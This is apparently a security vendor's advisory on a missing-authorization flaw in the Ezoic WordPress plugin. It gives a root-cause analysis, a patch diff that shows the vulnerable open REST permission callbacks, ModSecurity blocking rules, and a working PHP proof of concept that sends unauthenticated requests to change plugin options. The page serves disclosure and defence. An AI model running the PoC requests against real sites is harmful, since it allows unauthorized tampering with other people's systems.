Opens in a new tab
Published : November 15, 2026

CVE-2026-18789: Ezoic <= 2.23.0 Missing Authorization PoC, Patch Analysis & Rule

Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 2.23.0
Patched Version 2.23.1
Disclosed August 9, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-18789: The Ezoic WordPress plugin versions up to 2.23.0 contain a missing authorization vulnerability (CWE-862) across multiple REST API endpoints and HTTP header handlers. Several REST routes registered under the `ezoic-cms/v1` and `ezoic-emote/v1` namespaces used `permission_callback` set to `__return_true`, allowing unauthenticated users to invoke them. Additionally, the `check_headers` method was stubbed to always return `true`, and feature toggle logic in `class-ezoic-cms.php` and `class-ezoic-emote.php` accepted unauthenticated `X-Ezoic-CMS` and `X-Emote` headers to modify plugin options. CVSS score 5.3 reflects medium severity with potential for unauthorized state changes.

Root Cause: The root cause is the absence of any capability or signature verification on sensitive REST endpoints and header-driven option updates. In `includes/content/class-ezoic-content-export.php`, the `check_headers` method had its validation logic commented out and unconditionally returned `true`. Subsequent route registrations in `includes/content/cms/class-ezoic-cms-export.php` (line 66) and `includes/content/emote/class-ezoic-emote-export.php` (line 73) used `__return_true` for permission callbacks on endpoints like `/export/verify`, `/replace`, `/emote`, and `/emote-check`. In `includes/content/cms/class-ezoic-cms-sync.php` (lines 12, 19, 28), routes `/sync/options`, `/sync/theme`, and `/sync/linklists` also used `__return_true`. Furthermore, `includes/content/cms/class-ezoic-cms.php` around line 113 allowed any request with `HTTP_X_EZOIC_CMS` header to set the `ez_cms_enabled` option, and similarly `includes/content/emote/class-ezoic-emote.php` line 66 allowed `HTTP_X_EMOTE` to set `ez_emote_enabled`. No authentication, nonce, or signature check guarded these code paths.

Exploitation: An unauthenticated attacker can send crafted HTTP requests to the WordPress REST API endpoints without any credentials. For example, a POST request to `/wp-json/ezoic-cms/v1/sync/options` with a JSON body containing arbitrary options would execute the `ez_cms_sync_options` callback. Similarly, GET request to `/wp-json/ezoic-emote/v1/export/verify` would trigger export verification. The attacker can also send a simple GET request to any page with the header `X-Ezoic-CMS: true` or `X-Emote: true`, causing the plugin to update the `ez_cms_enabled` or `ez_emote_enabled` option to the attacker-supplied value. No tokens, cookies, or prior authentication are required. The attack surface is remotely accessible and requires only network connectivity to the target site.

Patch Analysis: The patch introduces HMAC-based request signing for content export and sync endpoints, and replaces `__return_true` with proper permission callbacks. A new static method `verify_content_signature` in `class-ezoic-content-export.php` validates an HMAC-SHA256 signature over `site_url() . ‘:’ . timestamp` using the site’s OAuth client secret. It rejects requests with missing or invalid signatures and enforces a 300-second timestamp window to prevent replay. The `check_headers` method now delegates to this signature verification. In `class-ezoic-cms-export.php` and `class-ezoic-emote-export.php`, permission callbacks are updated to `check_headers`. In `class-ezoic-cms-sync.php`, a new `verify_content_request` method wraps `verify_content_signature` and is used for all sync routes. In `class-ezoic-cms.php` and `class-ezoic-emote.php`, header-driven option updates are now gated behind a successful signature verification; if verification fails, the header value is ignored and the option remains unchanged. The emote plugin also adds a credential check for emote-specific endpoints that accepts either the HMAC or a per-domain emote key validated against an external API, with a per-request cache. Overall, the patch enforces authentication on previously open endpoints and prevents unauthorized option modifications.

Impact: If exploited, this vulnerability allows unauthenticated attackers to modify plugin settings such as enabling or disabling CMS/emote features, potentially altering site behavior, injecting content, or disrupting functionality. Attackers could also trigger export or sync operations, leading to data exposure or resource consumption. The ability to change plugin options may facilitate further attacks, such as enabling debug modes or altering content delivery. The CVSS 5.3 score reflects medium severity, but real-world impact includes integrity loss and potential site compromise.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/ezoic-integration/ezoic-integration.php
+++ b/ezoic-integration/ezoic-integration.php
@@ -18,7 +18,7 @@
  * Plugin Name:       Ezoic
  * Plugin URI:        https://ezoic.com/
  * Description:       Easily integrate and connect with Ezoic using WordPress. In order to activate this plugin properly you will need an Ezoic account. You can create an account here: https://pubdash.ezoic.com/join
- * Version:           2.23.0
+ * Version:           2.23.1
  * Author:            Ezoic Inc.
  * Author URI:        https://ezoic.com/
  * License:           GPL-2.0+
@@ -37,7 +37,7 @@
  */

 if ( ! defined( 'EZOIC_INTEGRATION_VERSION' ) ) {
-	define( 'EZOIC_INTEGRATION_VERSION', '2.23.0' ); // also update version in 'class-ezoic-integration-factory.php'.
+	define( 'EZOIC_INTEGRATION_VERSION', '2.23.1' ); // also update version in 'class-ezoic-integration-factory.php'.
 }
 define( 'EZOIC__PLUGIN_NAME', 'Ezoic' );
 define( 'EZOIC__PLUGIN_SLUG', dirname( plugin_basename( __FILE__ ) ) );
--- a/ezoic-integration/includes/class-ezoic-integration-factory.php
+++ b/ezoic-integration/includes/class-ezoic-integration-factory.php
@@ -6,7 +6,7 @@

 namespace Ezoic_Namespace {
 	if ( ! defined( 'EZOIC_INTEGRATION_VERSION' ) ) {
-		define( 'EZOIC_INTEGRATION_VERSION', '2.23.0' ); // update plugin version number
+		define( 'EZOIC_INTEGRATION_VERSION', '2.23.1' ); // update plugin version number
 	}

 	if ( ! defined( 'EZOIC_API_VERSION' ) ) {
--- a/ezoic-integration/includes/content/class-ezoic-content-export.php
+++ b/ezoic-integration/includes/content/class-ezoic-content-export.php
@@ -17,12 +17,53 @@
 	abstract public function get_module_name();

 	public function check_headers( $request ) {
-		// $is_export_request = $request->get_header( $this->get_request_header() );
-		// if ( is_null( $is_export_request ) || $is_export_request != 'true' ) {
-		// 	return false;
-		// }
+		return self::verify_content_signature(
+			$request->get_header( 'x-ezoic-content-auth' ),
+			(int) $request->get_header( 'x-ezoic-content-ts' )
+		);
+	}
+
+	/**
+	 * Verifies the HMAC signature that authenticates every content-module request.
+	 *
+	 * Signing contract (backend callers must match this byte-for-byte):
+	 *   X-Ezoic-Content-Ts:   current unix timestamp (seconds), accepted within +/- 300s
+	 *   X-Ezoic-Content-Auth: lowercase hex of HMAC-SHA256( key, message ) where
+	 *     key     = the site's Ezoic OAuth client secret (plaintext value of the
+	 *               'ezoic_auth_client_secret' option, issued at account linking)
+	 *     message = site_url() . ':' . ts
+	 *
+	 * site_url() is WordPress's exact stored value ('siteurl' option): scheme + host
+	 * (+ optional path), no trailing slash — e.g. "https://example.com". Callers must
+	 * sign the identical string; any scheme/host/trailing-slash difference fails
+	 * verification and returns 401 to the caller.
+	 *
+	 * Fails closed: a site with no linked Ezoic OAuth secret has no legitimate
+	 * content traffic, so every request is rejected.
+	 */
+	public static function verify_content_signature( $provided_hmac, $ts ) {
+		if ( empty( $provided_hmac ) || empty( $ts ) ) {
+			return false;
+		}
+
+		$enc = get_option( 'ezoic_auth_client_secret' );
+		if ( ! $enc ) {
+			return false;
+		}
+
+		$secret = Ezoic_Auth::decrypt_secret( $enc );
+		if ( empty( $secret ) ) {
+			return false;
+		}
+
+		$ts = (int) $ts;
+		if ( abs( time() - $ts ) > 300 ) {
+			return false;
+		}
+
+		$expected = hash_hmac( 'sha256', site_url() . ':' . $ts, $secret );

-		return true;
+		return hash_equals( $expected, (string) $provided_hmac );
 	}

 	protected function run_or_schedule_export( $request ) {
--- a/ezoic-integration/includes/content/cms/class-ezoic-cms-export.php
+++ b/ezoic-integration/includes/content/cms/class-ezoic-cms-export.php
@@ -63,7 +63,7 @@
 		register_rest_route('ezoic-cms/v1', '/export/verify', array(
 			'methods' => WP_REST_Server::READABLE,
 			'callback' => array( $this, 'verify_export_files' ),
-			'permission_callback' => '__return_true',
+			'permission_callback' => array( $this, 'check_headers' ),
 			'show_in_index'       => false,
 		));

--- a/ezoic-integration/includes/content/cms/class-ezoic-cms-sync.php
+++ b/ezoic-integration/includes/content/cms/class-ezoic-cms-sync.php
@@ -4,11 +4,18 @@

 class Ezoic_CMS_Sync {

+	public function verify_content_request( $request ) {
+		return Ezoic_Content_Export::verify_content_signature(
+			$request->get_header( 'x-ezoic-content-auth' ),
+			(int) $request->get_header( 'x-ezoic-content-ts' )
+		);
+	}
+
 	public function ez_cms_sync_options_endpoint() {
 		register_rest_route( 'ezoic-cms/v1', '/sync/options', array(
 			'methods' => WP_REST_Server::EDITABLE,
 			'callback' => array( $this, 'ez_cms_sync_options' ),
-			'permission_callback' => '__return_true',
+			'permission_callback' => array( $this, 'verify_content_request' ),
 			'show_in_index'       => false,
 		));
 	}
@@ -17,7 +24,7 @@
 		register_rest_route( 'ezoic-cms/v1', '/sync/theme', array(
 			'methods' => WP_REST_Server::EDITABLE,
 			'callback' => array( $this, 'ez_cms_sync_origin_theme' ),
-			'permission_callback' => '__return_true',
+			'permission_callback' => array( $this, 'verify_content_request' ),
 			'show_in_index'       => false,
 		));
 	}
@@ -26,7 +33,7 @@
 		register_rest_route( 'ezoic-cms/v1', '/sync/linklists', array(
 			'methods' => WP_REST_Server::EDITABLE,
 			'callback' => array( $this, 'ez_cms_get_menus_and_send' ),
-			'permission_callback' => '__return_true',
+			'permission_callback' => array( $this, 'verify_content_request' ),
 			'show_in_index'       => false,
 		));
 	}
--- a/ezoic-integration/includes/content/cms/class-ezoic-cms.php
+++ b/ezoic-integration/includes/content/cms/class-ezoic-cms.php
@@ -111,11 +111,16 @@
 	  $value = self::$is_enabled;
 		// If feature header is present, set option accordingly
 		if ( isset( $_SERVER[ 'HTTP_X_EZOIC_CMS' ] ) ) {
-			$value = $_SERVER[ 'HTTP_X_EZOIC_CMS' ];
+			if ( Ezoic_Content_Export::verify_content_signature(
+					isset( $_SERVER['HTTP_X_EZOIC_CONTENT_AUTH'] ) ? $_SERVER['HTTP_X_EZOIC_CONTENT_AUTH'] : '',
+					isset( $_SERVER['HTTP_X_EZOIC_CONTENT_TS'] ) ? (int) $_SERVER['HTTP_X_EZOIC_CONTENT_TS'] : 0
+			) ) {
+				$value = $_SERVER[ 'HTTP_X_EZOIC_CMS' ];

-			self::$is_enabled = $value;
+				self::$is_enabled = $value;

-			update_option( 'ez_cms_enabled', $value );
+				update_option( 'ez_cms_enabled', $value );
+			}
 		}

 		if ($value == null) {
--- a/ezoic-integration/includes/content/emote/class-ezoic-emote-export.php
+++ b/ezoic-integration/includes/content/emote/class-ezoic-emote-export.php
@@ -18,6 +18,9 @@
 	private $export_archive_name;
 	private $export_module;

+	/** @var array<string, bool> Per-request memo of emote key -> verify result. */
+	private static $emote_key_cache = array();
+
 	public function __construct() {
 		$this->export_transient = 'ezoic_emote_export';
 		$this->export_request_header = 'x-ezoic-emote-export';
@@ -67,7 +70,7 @@
 		register_rest_route('ezoic-emote/v1', '/export/verify', array(
 			'methods' => WP_REST_Server::READABLE,
 			'callback' => array($this, 'verify_export_files'),
-			'permission_callback' => '__return_true',
+			'permission_callback' => array( $this, 'check_headers' ),
 			'show_in_index'       => false,
 		));

@@ -88,25 +91,38 @@
 		register_rest_route( 'ezoic-emote/v1', '/replace', array(
 			'methods' => WP_REST_Server::CREATABLE,
 			'callback' => array( $this, 'emote_replace_toggle' ),
-			'permission_callback' => array( $this, 'check_headers' ),
+			'permission_callback' => array( $this, 'check_emote_credential' ),
 			'show_in_index'       => false,
 		));

 		register_rest_route( 'ezoic-emote/v1', '/emote', array(
 			'methods' => WP_REST_Server::CREATABLE,
 			'callback' => array( $this, 'emote_toggle' ),
-			'permission_callback' => array( $this, 'check_headers' ),
+			'permission_callback' => array( $this, 'check_emote_credential' ),
 			'show_in_index'       => false,
 		));

 		register_rest_route( 'ezoic-emote/v1', '/emote-check', array(
 			'methods' => WP_REST_Server::CREATABLE,
 			'callback' => array( $this, 'emote_check' ),
-			'permission_callback' => array( $this, 'check_headers' ),
+			'permission_callback' => array( $this, 'check_emote_credential' ),
 			'show_in_index'       => false,
 		));
 	}

+	/**
+	 * Permission callback for emote toggle routes (/replace, /emote, /emote-check).
+	 * publisher-backend reaches these with a per-domain emote key in the JSON body
+	 * rather than an HMAC, so both credentials are accepted. Export routes remain
+	 * HMAC-only via check_headers.
+	 */
+	public function check_emote_credential( $request ) {
+		if ( $this->check_headers( $request ) ) {
+			return true;
+		}
+		return $this->verify_emote_key( $request->get_param( 'key' ) );
+	}
+
 	public function emote_replace_toggle ( $request ) {
 		$is_enabled = $request->get_param('is_enabled');
 		$emote_key = $request->get_param('key');
@@ -158,6 +174,14 @@
 	}

 	private function verify_emote_key ( $key ) {
+		if ( ! is_string( $key ) || $key === '' ) {
+			return false;
+		}
+
+		if ( array_key_exists( $key, self::$emote_key_cache ) ) {
+			return self::$emote_key_cache[ $key ];
+		}
+
 		$api_url = 'https://i.emote.com/api/domain/auth/verify';
 		$body_data = json_encode( array( 'key' => $key, 'domain' => site_url() ) );

@@ -170,18 +194,19 @@

 		$response = wp_remote_post( $api_url, $request_args );

-		if (is_wp_error($response)) {
-			error_log('Error making API request: ' . $response->get_error_message());
-			return false;
+		$result = false;
+		if ( is_wp_error( $response ) ) {
+			error_log( 'Error making API request: ' . $response->get_error_message() );
 		} else {
-			$response_body = wp_remote_retrieve_body($response);
-			error_log('Error making API request: ' . $response_body);
-			$data = json_decode($response_body, true);
-			if (isset($data['success']) && is_bool($data['success'])) {
-				return $data['success'];
+			$response_body = wp_remote_retrieve_body( $response );
+			$data = json_decode( $response_body, true );
+			if ( isset( $data['success'] ) && is_bool( $data['success'] ) ) {
+				$result = $data['success'];
 			}
 		}
-		return false;
+
+		self::$emote_key_cache[ $key ] = $result;
+		return $result;
 	}

 	public function initiate_export_event ( $request ) {
--- a/ezoic-integration/includes/content/emote/class-ezoic-emote.php
+++ b/ezoic-integration/includes/content/emote/class-ezoic-emote.php
@@ -63,11 +63,16 @@
 	  $value = self::$is_enabled;
 		// If feature header is present, set option accordingly
 		if ( isset( $_SERVER[ 'HTTP_X_EMOTE' ] ) ) {
-			$value = $_SERVER[ 'HTTP_X_EMOTE' ];
+			if ( Ezoic_Content_Export::verify_content_signature(
+					isset( $_SERVER['HTTP_X_EZOIC_CONTENT_AUTH'] ) ? $_SERVER['HTTP_X_EZOIC_CONTENT_AUTH'] : '',
+					isset( $_SERVER['HTTP_X_EZOIC_CONTENT_TS'] ) ? (int) $_SERVER['HTTP_X_EZOIC_CONTENT_TS'] : 0
+			) ) {
+				$value = $_SERVER[ 'HTTP_X_EMOTE' ];

-			self::$is_enabled = $value;
+				self::$is_enabled = $value;

-			update_option( 'ez_emote_enabled', $value );
+				update_option( 'ez_emote_enabled', $value );
+			}
 		}

 		if ($value == null) {
@@ -76,8 +81,8 @@
 		}

 		// Enable feature if needed
-		$this->is_public_enabled	= true;
-		$this->is_admin_enabled		= true;
+		$this->is_public_enabled	= $value == 'true';
+		$this->is_admin_enabled		= $value == 'true';
 	}

 }

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-18789
# Block unauthenticated access to vulnerable Ezoic REST endpoints and header-based toggles

# Rule 1: Block direct access to vulnerable REST endpoints without HMAC signature headers
SecRule REQUEST_URI "@beginsWith /wp-json/ezoic-cms/v1/" 
  "id:20261879,phase:2,deny,status:403,chain,msg:'CVE-2026-18789 Ezoic CMS REST API unauthenticated access',severity:'CRITICAL',tag:'CVE-2026-18789'"
  SecRule &REQUEST_HEADERS:X-Ezoic-Content-Auth "@eq 0" "t:none"

SecRule REQUEST_URI "@beginsWith /wp-json/ezoic-emote/v1/" 
  "id:20261880,phase:2,deny,status:403,chain,msg:'CVE-2026-18789 Ezoic Emote REST API unauthenticated access',severity:'CRITICAL',tag:'CVE-2026-18789'"
  SecRule &REQUEST_HEADERS:X-Ezoic-Content-Auth "@eq 0" "t:none"

# Rule 2: Block header-based option toggles without HMAC signature
SecRule REQUEST_HEADERS:X-Ezoic-CMS "@rx .+" 
  "id:20261881,phase:2,deny,status:403,chain,msg:'CVE-2026-18789 Ezoic CMS header toggle without signature',severity:'CRITICAL',tag:'CVE-2026-18789'"
  SecRule &REQUEST_HEADERS:X-Ezoic-Content-Auth "@eq 0" "t:none"

SecRule REQUEST_HEADERS:X-Emote "@rx .+" 
  "id:20261882,phase:2,deny,status:403,chain,msg:'CVE-2026-18789 Ezoic Emote header toggle without signature',severity:'CRITICAL',tag:'CVE-2026-18789'"
  SecRule &REQUEST_HEADERS:X-Ezoic-Content-Auth "@eq 0" "t:none"

# Rule 3: Block emote key parameter without valid signature (for /replace, /emote, /emote-check)
SecRule REQUEST_URI "@beginsWith /wp-json/ezoic-emote/v1/" 
  "id:20261883,phase:2,deny,status:403,chain,msg:'CVE-2026-18789 Ezoic Emote endpoint without signature or key',severity:'CRITICAL',tag:'CVE-2026-18789'"
  SecRule &REQUEST_HEADERS:X-Ezoic-Content-Auth "@eq 0" "chain,t:none"
    SecRule &ARGS_POST:key "@eq 0" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-18789 - Ezoic <= 2.23.0 - Missing Authorization

$target_url = 'http://example.com'; // Change to target WordPress site

// Endpoint 1: Unauthenticated option sync via REST API
$sync_url = rtrim($target_url, '/') . '/wp-json/ezoic-cms/v1/sync/options';
$payload = json_encode(array('ez_cms_enabled' => 'true'));

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $sync_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[*] Sending unauthenticated request to sync options endpointn";
echo "[*] URL: $sync_urln";
echo "[*] Response code: $http_coden";
echo "[*] Response body: $responsen";

// Endpoint 2: Header-based option toggle
$headers = array(
    'X-Ezoic-CMS: true'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "n[*] Sending request with X-Ezoic-CMS header to toggle optionn";
echo "[*] Response code: $http_coden";

// Endpoint 3: Emote export verify
$emote_url = rtrim($target_url, '/') . '/wp-json/ezoic-emote/v1/export/verify';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $emote_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "n[*] Sending unauthenticated GET to emote export verifyn";
echo "[*] Response code: $http_coden";
echo "[*] Response body: $responsen";

echo "n[+] Exploit attempts completed. Check if options were modified.n";
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.